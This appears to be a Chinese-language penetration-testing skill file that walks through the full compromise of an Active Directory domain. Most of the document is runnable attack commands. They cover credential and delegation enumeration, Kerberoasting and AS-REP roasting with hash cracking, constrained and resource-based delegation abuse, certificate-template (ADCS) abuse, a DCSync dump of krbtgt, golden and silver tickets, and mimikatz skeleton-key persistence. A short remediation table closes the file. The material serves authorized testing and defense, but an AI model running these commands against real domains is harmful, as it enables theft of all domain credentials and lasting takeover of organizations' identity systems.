| name | performing-active-directory-penetration-test |
| description | 执行针对性的 Active Directory 渗透测试,涵盖域对象枚举、使用 BloodHound 发现攻击路径、利用 Kerberos 弱点、通过 ADCS/DCSync 提升权限,并演示域沦陷全过程。 |
| domain | cybersecurity |
| subdomain | penetration-testing |
| tags | ["active-directory","BloodHound","Kerberoasting","Impacket","DCSync","ADCS","domain-compromise","privilege-escalation"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
执行 Active Directory 渗透测试
概述
Active Directory(AD)渗透测试针对超过 95% 的财富 500 强企业使用的核心身份与访问管理系统。测试识别错误配置、弱凭据、危险的委派设置、存在漏洞的证书模板,以及能让攻击者从普通域用户提升至域管理员(Domain Admin)或企业管理员(Enterprise Admin)的攻击路径。
前置条件
- 标准域用户凭据(最低起点)
- 对域控制器的网络访问(LDAP/389、Kerberos/88、SMB/445、DNS/53)
- 工具:BloodHound、Impacket、Certipy、Rubeus、NetExec、Mimikatz
- 已加入域的 Kali Linux 或 Windows 攻击机
阶段一:AD 枚举
域信息收集
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --groups
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --users
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "OU=Domain Controllers,DC=corp,DC=local" "(objectClass=computer)" dNSHostName
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --trusts
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --pass-pol
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "DC=corp,DC=local" "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \
dNSHostName
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "DC=corp,DC=local" "(&(objectCategory=user)(msds-allowedtodelegateto=*))" \
sAMAccountName msds-allowedtodelegateto
netexec ldap 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local -M laps
BloodHound 攻击路径分析
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local \
-ns 10.0.0.5 -c all --zip
.\SharpHound.exe -c All --zipfilename bloodhound_data.zip
sudo neo4j start
bloodhound --no-sandbox
服务账户发现
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5
impacket-GetNPUsers 'corp.local/' -usersfile domain_users.txt \
-dc-ip 10.0.0.5 -format hashcat
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "DC=corp,DC=local" "(objectClass=msDS-GroupManagedServiceAccount)" \
sAMAccountName msDS-GroupMSAMembership
阶段二:Kerberos 攻击
Kerberoasting
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
-outputfile kerberoast.txt -request
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule --force
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_tgs.txt
AS-REP Roasting
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
-outputfile asrep.txt -format hashcat
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
Kerberos 委派攻击
.\Rubeus.exe monitor /interval:5 /nowrap
.\SpoolSample.exe DC01.corp.local YOURHOST.corp.local
.\Rubeus.exe ptt /ticket:<base64_ticket>
impacket-getST 'corp.local/svc_web:WebPass123' -spn 'CIFS/fileserver.corp.local' \
-dc-ip 10.0.0.5 -impersonate administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/administrator@fileserver.corp.local' -k -no-pass
impacket-addcomputer 'corp.local/testuser:Password123' -computer-name 'EVIL$' \
-computer-pass 'EvilPass123' -dc-ip 10.0.0.5
python3 rbcd.py -delegate-to 'TARGET$' -delegate-from 'EVIL$' \
-dc-ip 10.0.0.5 'corp.local/testuser:Password123'
impacket-getST 'corp.local/EVIL$:EvilPass123' -spn 'CIFS/target.corp.local' \
-impersonate administrator -dc-ip 10.0.0.5
阶段三:ADCS(Active Directory 证书服务)攻击
certipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5 \
-vulnerable -stdout
certipy req -u 'testuser@corp.local' -p 'Password123' \
-target ca.corp.local -ca CORP-CA \
-template VulnerableWebServer -upn administrator@corp.local
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.5
certipy req -u 'testuser@corp.local' -p 'Password123' \
-target ca.corp.local -ca CORP-CA \
-template User -upn administrator@corp.local
certipy relay -target 'http://ca.corp.local/certsrv/certfnsh.asp' \
-template DomainController
阶段四:域权限提升
DCSync 攻击
impacket-secretsdump 'corp.local/domainadmin:DAPass@10.0.0.5' -just-dc
impacket-secretsdump 'corp.local/domainadmin:DAPass@10.0.0.5' \
-just-dc-user krbtgt
mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt
黄金票据(Golden Ticket)
impacket-ticketer -nthash <krbtgt_nthash> -domain-sid S-1-5-21-... \
-domain corp.local administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/administrator@dc01.corp.local' -k -no-pass
mimikatz# kerberos::golden /user:administrator /domain:corp.local \
/sid:S-1-5-21-... /krbtgt:<hash> /ptt
白银票据(Silver Ticket)
impacket-ticketer -nthash <service_nthash> -domain-sid S-1-5-21-... \
-domain corp.local -spn MSSQL/sqlserver.corp.local administrator
export KRB5CCNAME=administrator.ccache
impacket-mssqlclient 'corp.local/administrator@sqlserver.corp.local' -k -no-pass
阶段五:持久化演示
mimikatz# privilege::debug
mimikatz# misc::skeleton
发现与修复建议
| 发现项 | CVSS | 修复建议 |
|---|
| 密码较弱的可 Kerberoast 账户 | 7.5 | 使用 gMSA,对服务账户强制使用 25 位以上字符密码 |
| 服务器上的非约束委派 | 8.1 | 移除非约束委派,改用约束委派或 RBCD |
| 存在漏洞的 ADCS 模板(ESC1-ESC8) | 9.8 | 审计模板、移除危险权限、要求审批流程 |
| 非 DA 账户的 DCSync 权限 | 9.8 | 审计复制权限,实施分层管理员模型 |
| 已启用 LLMNR/NBT-NS | 8.1 | 通过 GPO 禁用 |
| 未部署 LAPS | 7.2 | 部署 Windows LAPS 管理本地管理员密码 |
| 域密码策略较弱 | 6.5 | 强制使用 14 位以上字符,实施细粒度密码策略 |
参考资料